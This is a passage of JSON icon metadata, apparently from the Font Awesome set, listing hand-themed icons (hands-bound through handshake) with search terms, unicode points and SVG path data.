        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M156.6 46.3c7.9-15.8 1.5-35-14.3-42.9s-35-1.5-42.9 14.3L13.5 189.4C4.6 207.2 0 226.8 0 246.7V256c0 70.7 57.3 128 128 128h72 8v-.3c35.2-2.7 65.4-22.8 82.1-51.7c8.8-15.3 3.6-34.9-11.7-43.7s-34.9-3.6-43.7 11.7c-7 12-19.9 20-34.7 20c-22.1 0-40-17.9-40-40s17.9-40 40-40c14.8 0 27.7 8 34.7 20c8.8 15.3 28.4 20.5 43.7 11.7s20.5-28.4 11.7-43.7c-12.8-22.1-33.6-39.1-58.4-47.1l80.8-22c17-4.6 27.1-22.2 22.5-39.3s-22.2-27.1-39.3-22.5L194.9 124.6l81.6-68c13.6-11.3 15.4-31.5 4.1-45.1S249.1-3.9 235.5 7.4L133.6 92.3l23-46zM483.4 465.7c-7.9 15.8-1.5 35 14.3 42.9s35 1.5 42.9-14.3l85.9-171.7c8.9-17.8 13.5-37.4 13.5-57.2V256c0-70.7-57.3-128-128-128H440h-8v.3c-35.2 2.7-65.4 22.8-82.1 51.7c-8.9 15.3-3.6 34.9 11.7 43.7s34.9 3.6 43.7-11.7c7-12 19.9-20 34.7-20c22.1 0 40 17.9 40 40s-17.9 40-40 40c-14.8 0-27.7-8-34.7-20c-8.9-15.3-28.4-20.5-43.7-11.7s-20.5 28.4-11.7 43.7c12.8 22.1 33.6 39.1 58.4 47.1l-80.8 22c-17.1 4.7-27.1 22.2-22.5 39.3s22.2 27.1 39.3 22.5l100.7-27.5-81.6 68c-13.6 11.3-15.4 31.5-4.1 45.1s31.5 15.4 45.1 4.1l101.9-84.9-23 46z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M156.6 46.3c7.9-15.8 1.5-35-14.3-42.9s-35-1.5-42.9 14.3L13.5 189.4C4.6 207.2 0 226.8 0 246.7V256c0 70.7 57.3 128 128 128h72 8v-.3c35.2-2.7 65.4-22.8 82.1-51.7c8.8-15.3 3.6-34.9-11.7-43.7s-34.9-3.6-43.7 11.7c-7 12-19.9 20-34.7 20c-22.1 0-40-17.9-40-40s17.9-40 40-40c14.8 0 27.7 8 34.7 20c8.8 15.3 28.4 20.5 43.7 11.7s20.5-28.4 11.7-43.7c-12.8-22.1-33.6-39.1-58.4-47.1l80.8-22c17-4.6 27.1-22.2 22.5-39.3s-22.2-27.1-39.3-22.5L194.9 124.6l81.6-68c13.6-11.3 15.4-31.5 4.1-45.1S249.1-3.9 235.5 7.4L133.6 92.3l23-46zM483.4 465.7c-7.9 15.8-1.5 35 14.3 42.9s35 1.5 42.9-14.3l85.9-171.7c8.9-17.8 13.5-37.4 13.5-57.2V256c0-70.7-57.3-128-128-128H440h-8v.3c-35.2 2.7-65.4 22.8-82.1 51.7c-8.9 15.3-3.6 34.9 11.7 43.7s34.9 3.6 43.7-11.7c7-12 19.9-20 34.7-20c22.1 0 40 17.9 40 40s-17.9 40-40 40c-14.8 0-27.7-8-34.7-20c-8.9-15.3-28.4-20.5-43.7-11.7s-20.5 28.4-11.7 43.7c12.8 22.1 33.6 39.1 58.4 47.1l-80.8 22c-17.1 4.7-27.1 22.2-22.5 39.3s22.2 27.1 39.3 22.5l100.7-27.5-81.6 68c-13.6 11.3-15.4 31.5-4.1 45.1s31.5 15.4 45.1 4.1l101.9-84.9-23 46z"
      }
    },
    "free": ["solid"]
  },
  "hands-bound": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["abduction", "bound", "handcuff", "wrist"]
    },
    "styles": ["solid"],
    "unicode": "e4f9",
    "label": "Hands Bound",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 32C96 14.3 81.7 0 64 0S32 14.3 32 32V96v59.1 .7V192v21.9c0 14.2 5.1 27.9 14.3 38.7L131.6 352H128c-13.3 0-24 10.7-24 24s10.7 24 24 24h32H288h64H480h32c13.3 0 24-10.7 24-24s-10.7-24-24-24h-3.6l85.3-99.5c9.2-10.8 14.3-24.5 14.3-38.7V192 155.8v-.7V96 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V96v48.8l-69.3 92.4c-5.7 7.6-16.1 9.6-24.2 4.8c-9.7-5.7-12.1-18.7-5.1-27.5L473 180c10.8-13.5 8.9-33.3-4.4-44.5s-33-9.8-44.5 3.2l-46.7 52.5C361 209.7 352 233.4 352 258.1V320v32H288V320 258.1c0-24.6-9-48.4-25.4-66.8l-46.7-52.5c-11.5-13-31.3-14.4-44.5-3.2s-15.2 30.9-4.4 44.5l27.6 34.5c7 8.8 4.7 21.8-5.1 27.5c-8.1 4.8-18.6 2.7-24.2-4.8L96 144.8V96 32zm64 448v32H288V480h64v32H480V480h32c13.3 0 24-10.7 24-24s-10.7-24-24-24H480 352 288 160 128c-13.3 0-24 10.7-24 24s10.7 24 24 24h32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 32C96 14.3 81.7 0 64 0S32 14.3 32 32V96v59.1 .7V192v21.9c0 14.2 5.1 27.9 14.3 38.7L131.6 352H128c-13.3 0-24 10.7-24 24s10.7 24 24 24h32H288h64H480h32c13.3 0 24-10.7 24-24s-10.7-24-24-24h-3.6l85.3-99.5c9.2-10.8 14.3-24.5 14.3-38.7V192 155.8v-.7V96 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V96v48.8l-69.3 92.4c-5.7 7.6-16.1 9.6-24.2 4.8c-9.7-5.7-12.1-18.7-5.1-27.5L473 180c10.8-13.5 8.9-33.3-4.4-44.5s-33-9.8-44.5 3.2l-46.7 52.5C361 209.7 352 233.4 352 258.1V320v32H288V320 258.1c0-24.6-9-48.4-25.4-66.8l-46.7-52.5c-11.5-13-31.3-14.4-44.5-3.2s-15.2 30.9-4.4 44.5l27.6 34.5c7 8.8 4.7 21.8-5.1 27.5c-8.1 4.8-18.6 2.7-24.2-4.8L96 144.8V96 32zm64 448v32H288V480h64v32H480V480h32c13.3 0 24-10.7 24-24s-10.7-24-24-24H480 352 288 160 128c-13.3 0-24 10.7-24 24s10.7 24 24 24h32z"
      }
    },
    "free": ["solid"]
  },
  "hands-bubbles": {
    "aliases": {
      "names": ["hands-wash"],
      "unicodes": {
        "secondary": ["10e05e"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["covid-19", "hygiene", "soap", "wash"]
    },
    "styles": ["solid"],
    "unicode": "e05e",
    "label": "Hands Bubbles",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M416 64a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm96 128a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM160 464a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM32 160l.1 72.6c.1 52.2 24 101 64 133.1c-.1-1.9-.1-3.8-.1-5.7v-8c0-71.8 37-138.6 97.9-176.7l60.2-37.6c8.6-5.4 17.9-8.4 27.3-9.4l45.9-79.5c6.6-11.5 2.7-26.2-8.8-32.8s-26.2-2.7-32.8 8.8l-78 135.1c-3.3 5.7-10.7 7.7-16.4 4.4s-7.7-10.7-4.4-16.4l62-107.4c6.6-11.5 2.7-26.2-8.8-32.8S214 5 207.4 16.5l-68 117.8 0 0 0 0-43.3 75L96 160c0-17.7-14.4-32-32-32s-32 14.4-32 32zM332.1 88.5L307.5 131c13.9 4.5 26.4 13.7 34.7 27c.9 1.5 1.7 2.9 2.5 4.4l28.9-50c6.6-11.5 2.7-26.2-8.8-32.8s-26.2-2.7-32.8 8.8zm46.4 63.7l-26.8 46.4c-.6 6-2.1 11.8-4.3 17.4H352h13.3l0 0H397l23-39.8c6.6-11.5 2.7-26.2-8.8-32.8s-26.2-2.7-32.8 8.8zM315.1 175c-9.4-15-29.1-19.5-44.1-10.2l-60.2 37.6C159.3 234.7 128 291.2 128 352v8c0 8.9 .8 17.6 2.2 26.1c35.4 8.2 61.8 40 61.8 77.9c0 6.3-.7 12.5-2.1 18.4C215.1 501 246.3 512 280 512H456c13.3 0 24-10.7 24-24s-10.7-24-24-24H364c-6.6 0-12-5.4-12-12s5.4-12 12-12H488c13.3 0 24-10.7 24-24s-10.7-24-24-24H364c-6.6 0-12-5.4-12-12s5.4-12 12-12H520c13.3 0 24-10.7 24-24s-10.7-24-24-24H364c-6.6 0-12-5.4-12-12s5.4-12 12-12H488c13.3 0 24-10.7 24-24s-10.7-24-24-24H352l0 0 0 0H258.8L305 219.1c15-9.4 19.5-29.1 10.2-44.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M416 64a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm96 128a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM160 464a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM32 160l.1 72.6c.1 52.2 24 101 64 133.1c-.1-1.9-.1-3.8-.1-5.7v-8c0-71.8 37-138.6 97.9-176.7l60.2-37.6c8.6-5.4 17.9-8.4 27.3-9.4l45.9-79.5c6.6-11.5 2.7-26.2-8.8-32.8s-26.2-2.7-32.8 8.8l-78 135.1c-3.3 5.7-10.7 7.7-16.4 4.4s-7.7-10.7-4.4-16.4l62-107.4c6.6-11.5 2.7-26.2-8.8-32.8S214 5 207.4 16.5l-68 117.8 0 0 0 0-43.3 75L96 160c0-17.7-14.4-32-32-32s-32 14.4-32 32zM332.1 88.5L307.5 131c13.9 4.5 26.4 13.7 34.7 27c.9 1.5 1.7 2.9 2.5 4.4l28.9-50c6.6-11.5 2.7-26.2-8.8-32.8s-26.2-2.7-32.8 8.8zm46.4 63.7l-26.8 46.4c-.6 6-2.1 11.8-4.3 17.4H352h13.3l0 0H397l23-39.8c6.6-11.5 2.7-26.2-8.8-32.8s-26.2-2.7-32.8 8.8zM315.1 175c-9.4-15-29.1-19.5-44.1-10.2l-60.2 37.6C159.3 234.7 128 291.2 128 352v8c0 8.9 .8 17.6 2.2 26.1c35.4 8.2 61.8 40 61.8 77.9c0 6.3-.7 12.5-2.1 18.4C215.1 501 246.3 512 280 512H456c13.3 0 24-10.7 24-24s-10.7-24-24-24H364c-6.6 0-12-5.4-12-12s5.4-12 12-12H488c13.3 0 24-10.7 24-24s-10.7-24-24-24H364c-6.6 0-12-5.4-12-12s5.4-12 12-12H520c13.3 0 24-10.7 24-24s-10.7-24-24-24H364c-6.6 0-12-5.4-12-12s5.4-12 12-12H488c13.3 0 24-10.7 24-24s-10.7-24-24-24H352l0 0 0 0H258.8L305 219.1c15-9.4 19.5-29.1 10.2-44.1z"
      }
    },
    "free": ["solid"]
  },
  "hands-clapping": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["applause", "clap", "clapping hands", "hand"]
    },
    "styles": ["solid"],
    "unicode": "e1a8",
    "label": "Hands Clapping",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M336 16V80c0 8.8-7.2 16-16 16s-16-7.2-16-16V16c0-8.8 7.2-16 16-16s16 7.2 16 16zm-98.7 7.1l32 48c4.9 7.4 2.9 17.3-4.4 22.2s-17.3 2.9-22.2-4.4l-32-48c-4.9-7.4-2.9-17.3 4.4-22.2s17.3-2.9 22.2 4.4zM135 119c9.4-9.4 24.6-9.4 33.9 0L292.7 242.7c10.1 10.1 27.3 2.9 27.3-11.3V192c0-17.7 14.3-32 32-32s32 14.3 32 32V345.6c0 57.1-30 110-78.9 139.4c-64 38.4-145.8 28.3-198.5-24.4L7 361c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l53 53c6.1 6.1 16 6.1 22.1 0s6.1-16 0-22.1L23 265c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l93 93c6.1 6.1 16 6.1 22.1 0s6.1-16 0-22.1L55 185c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l117 117c6.1 6.1 16 6.1 22.1 0s6.1-16 0-22.1l-93-93c-9.4-9.4-9.4-24.6 0-33.9zM433.1 484.9c-24.2 14.5-50.9 22.1-77.7 23.1c48.1-39.6 76.6-99 76.6-162.4l0-98.1c8.2-.1 16-6.4 16-16V192c0-17.7 14.3-32 32-32s32 14.3 32 32V345.6c0 57.1-30 110-78.9 139.4zM424.9 18.7c7.4 4.9 9.3 14.8 4.4 22.2l-32 48c-4.9 7.4-14.8 9.3-22.2 4.4s-9.3-14.8-4.4-22.2l32-48c4.9-7.4 14.8-9.3 22.2-4.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M336 16V80c0 8.8-7.2 16-16 16s-16-7.2-16-16V16c0-8.8 7.2-16 16-16s16 7.2 16 16zm-98.7 7.1l32 48c4.9 7.4 2.9 17.3-4.4 22.2s-17.3 2.9-22.2-4.4l-32-48c-4.9-7.4-2.9-17.3 4.4-22.2s17.3-2.9 22.2 4.4zM135 119c9.4-9.4 24.6-9.4 33.9 0L292.7 242.7c10.1 10.1 27.3 2.9 27.3-11.3V192c0-17.7 14.3-32 32-32s32 14.3 32 32V345.6c0 57.1-30 110-78.9 139.4c-64 38.4-145.8 28.3-198.5-24.4L7 361c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l53 53c6.1 6.1 16 6.1 22.1 0s6.1-16 0-22.1L23 265c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l93 93c6.1 6.1 16 6.1 22.1 0s6.1-16 0-22.1L55 185c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l117 117c6.1 6.1 16 6.1 22.1 0s6.1-16 0-22.1l-93-93c-9.4-9.4-9.4-24.6 0-33.9zM433.1 484.9c-24.2 14.5-50.9 22.1-77.7 23.1c48.1-39.6 76.6-99 76.6-162.4l0-98.1c8.2-.1 16-6.4 16-16V192c0-17.7 14.3-32 32-32s32 14.3 32 32V345.6c0 57.1-30 110-78.9 139.4zM424.9 18.7c7.4 4.9 9.3 14.8 4.4 22.2l-32 48c-4.9 7.4-14.8 9.3-22.2 4.4s-9.3-14.8-4.4-22.2l32-48c4.9-7.4 14.8-9.3 22.2-4.4z"
      }
    },
    "free": ["solid"]
  },
  "hands-holding": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4c2"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["carry", "hold", "lift"]
    },
    "styles": ["solid"],
    "unicode": "f4c2",
    "label": "Hands Holding",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M80 104c0-22.1-17.9-40-40-40S0 81.9 0 104v56 64V325.5c0 25.5 10.1 49.9 28.1 67.9L128 493.3c12 12 28.3 18.7 45.3 18.7H240c26.5 0 48-21.5 48-48V385.1c0-29.7-11.8-58.2-32.8-79.2l-25.3-25.3 0 0-15.2-15.2-32-32c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l32 32 15.2 15.2c11 11 9.2 29.2-3.7 37.8c-9.7 6.5-22.7 5.2-31-3.1L98.7 309.5c-12-12-18.7-28.3-18.7-45.3V224 144 104zm480 0v40 80 40.2c0 17-6.7 33.3-18.7 45.3l-51.1 51.1c-8.3 8.3-21.3 9.6-31 3.1c-12.9-8.6-14.7-26.9-3.7-37.8l15.2-15.2 32-32c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-32 32-15.2 15.2 0 0-25.3 25.3c-21 21-32.8 49.5-32.8 79.2V464c0 26.5 21.5 48 48 48h66.7c17 0 33.3-6.7 45.3-18.7l99.9-99.9c18-18 28.1-42.4 28.1-67.9V224 160 104c0-22.1-17.9-40-40-40s-40 17.9-40 40z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M80 104c0-22.1-17.9-40-40-40S0 81.9 0 104v56 64V325.5c0 25.5 10.1 49.9 28.1 67.9L128 493.3c12 12 28.3 18.7 45.3 18.7H240c26.5 0 48-21.5 48-48V385.1c0-29.7-11.8-58.2-32.8-79.2l-25.3-25.3 0 0-15.2-15.2-32-32c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l32 32 15.2 15.2c11 11 9.2 29.2-3.7 37.8c-9.7 6.5-22.7 5.2-31-3.1L98.7 309.5c-12-12-18.7-28.3-18.7-45.3V224 144 104zm480 0v40 80 40.2c0 17-6.7 33.3-18.7 45.3l-51.1 51.1c-8.3 8.3-21.3 9.6-31 3.1c-12.9-8.6-14.7-26.9-3.7-37.8l15.2-15.2 32-32c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-32 32-15.2 15.2 0 0-25.3 25.3c-21 21-32.8 49.5-32.8 79.2V464c0 26.5 21.5 48 48 48h66.7c17 0 33.3-6.7 45.3-18.7l99.9-99.9c18-18 28.1-42.4 28.1-67.9V224 160 104c0-22.1-17.9-40-40-40s-40 17.9-40 40z"
      }
    },
    "free": ["solid"]
  },
  "hands-holding-child": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0", "6.4.1"],
    "ligatures": [],
    "search": {
      "terms": ["care", "give", "help", "hold", "protect"]
    },
    "styles": ["solid"],
    "unicode": "e4fa",
    "label": "Hands Holding Child",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 0a40 40 0 1 1 0 80 40 40 0 1 1 0-80zm44.7 164.3L375.8 253c1.6 13.2-7.7 25.1-20.8 26.8s-25.1-7.7-26.8-20.8l-4.4-35h-7.6l-4.4 35c-1.6 13.2-13.6 22.5-26.8 20.8s-22.5-13.6-20.8-26.8l11.1-88.8L255.5 181c-10.1 8.6-25.3 7.3-33.8-2.8s-7.3-25.3 2.8-33.8l27.9-23.6C271.3 104.8 295.3 96 320 96s48.7 8.8 67.6 24.7l27.9 23.6c10.1 8.6 11.4 23.7 2.8 33.8s-23.7 11.4-33.8 2.8l-19.8-16.7zM40 64c22.1 0 40 17.9 40 40v40 80 40.2c0 17 6.7 33.3 18.7 45.3l51.1 51.1c8.3 8.3 21.3 9.6 31 3.1c12.9-8.6 14.7-26.9 3.7-37.8l-15.2-15.2-32-32c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0l32 32 15.2 15.2 0 0 25.3 25.3c21 21 32.8 49.5 32.8 79.2V464c0 26.5-21.5 48-48 48H173.3c-17 0-33.3-6.7-45.3-18.7L28.1 393.4C10.1 375.4 0 351 0 325.5V224 160 104C0 81.9 17.9 64 40 64zm560 0c22.1 0 40 17.9 40 40v56 64V325.5c0 25.5-10.1 49.9-28.1 67.9L512 493.3c-12 12-28.3 18.7-45.3 18.7H400c-26.5 0-48-21.5-48-48V385.1c0-29.7 11.8-58.2 32.8-79.2l25.3-25.3 0 0 15.2-15.2 32-32c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3l-32 32-15.2 15.2c-11 11-9.2 29.2 3.7 37.8c9.7 6.5 22.7 5.2 31-3.1l51.1-51.1c12-12 18.7-28.3 18.7-45.3V224 144 104c0-22.1 17.9-40 40-40z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 0a40 40 0 1 1 0 80 40 40 0 1 1 0-80zm44.7 164.3L375.8 253c1.6 13.2-7.7 25.1-20.8 26.8s-25.1-7.7-26.8-20.8l-4.4-35h-7.6l-4.4 35c-1.6 13.2-13.6 22.5-26.8 20.8s-22.5-13.6-20.8-26.8l11.1-88.8L255.5 181c-10.1 8.6-25.3 7.3-33.8-2.8s-7.3-25.3 2.8-33.8l27.9-23.6C271.3 104.8 295.3 96 320 96s48.7 8.8 67.6 24.7l27.9 23.6c10.1 8.6 11.4 23.7 2.8 33.8s-23.7 11.4-33.8 2.8l-19.8-16.7zM40 64c22.1 0 40 17.9 40 40v40 80 40.2c0 17 6.7 33.3 18.7 45.3l51.1 51.1c8.3 8.3 21.3 9.6 31 3.1c12.9-8.6 14.7-26.9 3.7-37.8l-15.2-15.2-32-32c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0l32 32 15.2 15.2 0 0 25.3 25.3c21 21 32.8 49.5 32.8 79.2V464c0 26.5-21.5 48-48 48H173.3c-17 0-33.3-6.7-45.3-18.7L28.1 393.4C10.1 375.4 0 351 0 325.5V224 160 104C0 81.9 17.9 64 40 64zm560 0c22.1 0 40 17.9 40 40v56 64V325.5c0 25.5-10.1 49.9-28.1 67.9L512 493.3c-12 12-28.3 18.7-45.3 18.7H400c-26.5 0-48-21.5-48-48V385.1c0-29.7 11.8-58.2 32.8-79.2l25.3-25.3 0 0 15.2-15.2 32-32c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3l-32 32-15.2 15.2c-11 11-9.2 29.2 3.7 37.8c9.7 6.5 22.7 5.2 31-3.1l51.1-51.1c12-12 18.7-28.3 18.7-45.3V224 144 104c0-22.1 17.9-40 40-40z"
      }
    },
    "free": ["solid"]
  },
  "hands-holding-circle": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0", "6.4.1"],
    "ligatures": [],
    "search": {
      "terms": ["circle", "gift", "protection"]
    },
    "styles": ["solid"],
    "unicode": "e4fb",
    "label": "Hands Holding Circle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 0a128 128 0 1 1 0 256A128 128 0 1 1 320 0zM40 64c22.1 0 40 17.9 40 40v40 80 40.2c0 17 6.7 33.3 18.7 45.3l51.1 51.1c8.3 8.3 21.3 9.6 31 3.1c12.9-8.6 14.7-26.9 3.7-37.8l-15.2-15.2-32-32c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0l32 32 15.2 15.2 0 0 25.3 25.3c21 21 32.8 49.5 32.8 79.2V464c0 26.5-21.5 48-48 48H173.3c-17 0-33.3-6.7-45.3-18.7L28.1 393.4C10.1 375.4 0 351 0 325.5V224 160 104C0 81.9 17.9 64 40 64zm560 0c22.1 0 40 17.9 40 40v56 64V325.5c0 25.5-10.1 49.9-28.1 67.9L512 493.3c-12 12-28.3 18.7-45.3 18.7H400c-26.5 0-48-21.5-48-48V385.1c0-29.7 11.8-58.2 32.8-79.2l25.3-25.3 0 0 15.2-15.2 32-32c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3l-32 32-15.2 15.2c-11 11-9.2 29.2 3.7 37.8c9.7 6.5 22.7 5.2 31-3.1l51.1-51.1c12-12 18.7-28.3 18.7-45.3V224 144 104c0-22.1 17.9-40 40-40z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 0a128 128 0 1 1 0 256A128 128 0 1 1 320 0zM40 64c22.1 0 40 17.9 40 40v40 80 40.2c0 17 6.7 33.3 18.7 45.3l51.1 51.1c8.3 8.3 21.3 9.6 31 3.1c12.9-8.6 14.7-26.9 3.7-37.8l-15.2-15.2-32-32c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0l32 32 15.2 15.2 0 0 25.3 25.3c21 21 32.8 49.5 32.8 79.2V464c0 26.5-21.5 48-48 48H173.3c-17 0-33.3-6.7-45.3-18.7L28.1 393.4C10.1 375.4 0 351 0 325.5V224 160 104C0 81.9 17.9 64 40 64zm560 0c22.1 0 40 17.9 40 40v56 64V325.5c0 25.5-10.1 49.9-28.1 67.9L512 493.3c-12 12-28.3 18.7-45.3 18.7H400c-26.5 0-48-21.5-48-48V385.1c0-29.7 11.8-58.2 32.8-79.2l25.3-25.3 0 0 15.2-15.2 32-32c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3l-32 32-15.2 15.2c-11 11-9.2 29.2 3.7 37.8c9.7 6.5 22.7 5.2 31-3.1l51.1-51.1c12-12 18.7-28.3 18.7-45.3V224 144 104c0-22.1 17.9-40 40-40z"
      }
    },
    "free": ["solid"]
  },
  "hands-praying": {
    "aliases": {
      "names": ["praying-hands"],
      "unicodes": {
        "secondary": ["10f684"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["kneel", "preach", "religion", "worship"]
    },
    "styles": ["solid"],
    "unicode": "f684",
    "label": "Hands Praying",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M351.2 4.8c3.2-2 6.6-3.3 10-4.1c4.7-1 9.6-.9 14.1 .1c7.7 1.8 14.8 6.5 19.4 13.6L514.6 194.2c8.8 13.1 13.4 28.6 13.4 44.4v73.5c0 6.9 4.4 13 10.9 15.2l79.2 26.4C631.2 358 640 370.2 640 384v96c0 9.9-4.6 19.3-12.5 25.4s-18.1 8.1-27.7 5.5L431 465.9c-56-14.9-95-65.7-95-123.7V224c0-17.7 14.3-32 32-32s32 14.3 32 32v80c0 8.8 7.2 16 16 16s16-7.2 16-16V219.1c0-7-1.8-13.8-5.3-19.8L340.3 48.1c-1.7-3-2.9-6.1-3.6-9.3c-1-4.7-1-9.6 .1-14.1c1.9-8 6.8-15.2 14.3-19.9zm-62.4 0c7.5 4.6 12.4 11.9 14.3 19.9c1.1 4.6 1.2 9.4 .1 14.1c-.7 3.2-1.9 6.3-3.6 9.3L213.3 199.3c-3.5 6-5.3 12.9-5.3 19.8V304c0 8.8 7.2 16 16 16s16-7.2 16-16V224c0-17.7 14.3-32 32-32s32 14.3 32 32V342.3c0 58-39 108.7-95 123.7l-168.7 45c-9.6 2.6-19.9 .5-27.7-5.5S0 490 0 480V384c0-13.8 8.8-26 21.9-30.4l79.2-26.4c6.5-2.2 10.9-8.3 10.9-15.2V238.5c0-15.8 4.7-31.2 13.4-44.4L245.2 14.5c4.6-7.1 11.7-11.8 19.4-13.6c4.6-1.1 9.4-1.2 14.1-.1c3.5 .8 6.9 2.1 10 4.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M351.2 4.8c3.2-2 6.6-3.3 10-4.1c4.7-1 9.6-.9 14.1 .1c7.7 1.8 14.8 6.5 19.4 13.6L514.6 194.2c8.8 13.1 13.4 28.6 13.4 44.4v73.5c0 6.9 4.4 13 10.9 15.2l79.2 26.4C631.2 358 640 370.2 640 384v96c0 9.9-4.6 19.3-12.5 25.4s-18.1 8.1-27.7 5.5L431 465.9c-56-14.9-95-65.7-95-123.7V224c0-17.7 14.3-32 32-32s32 14.3 32 32v80c0 8.8 7.2 16 16 16s16-7.2 16-16V219.1c0-7-1.8-13.8-5.3-19.8L340.3 48.1c-1.7-3-2.9-6.1-3.6-9.3c-1-4.7-1-9.6 .1-14.1c1.9-8 6.8-15.2 14.3-19.9zm-62.4 0c7.5 4.6 12.4 11.9 14.3 19.9c1.1 4.6 1.2 9.4 .1 14.1c-.7 3.2-1.9 6.3-3.6 9.3L213.3 199.3c-3.5 6-5.3 12.9-5.3 19.8V304c0 8.8 7.2 16 16 16s16-7.2 16-16V224c0-17.7 14.3-32 32-32s32 14.3 32 32V342.3c0 58-39 108.7-95 123.7l-168.7 45c-9.6 2.6-19.9 .5-27.7-5.5S0 490 0 480V384c0-13.8 8.8-26 21.9-30.4l79.2-26.4c6.5-2.2 10.9-8.3 10.9-15.2V238.5c0-15.8 4.7-31.2 13.4-44.4L245.2 14.5c4.6-7.1 11.7-11.8 19.4-13.6c4.6-1.1 9.4-1.2 14.1-.1c3.5 .8 6.9 2.1 10 4.1z"
      }
    },
    "free": ["solid"]
  },
  "handshake": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f2b5"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.0.9",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["agreement", "greeting", "meeting", "partnership"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2b5",
    "label": "Handshake",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
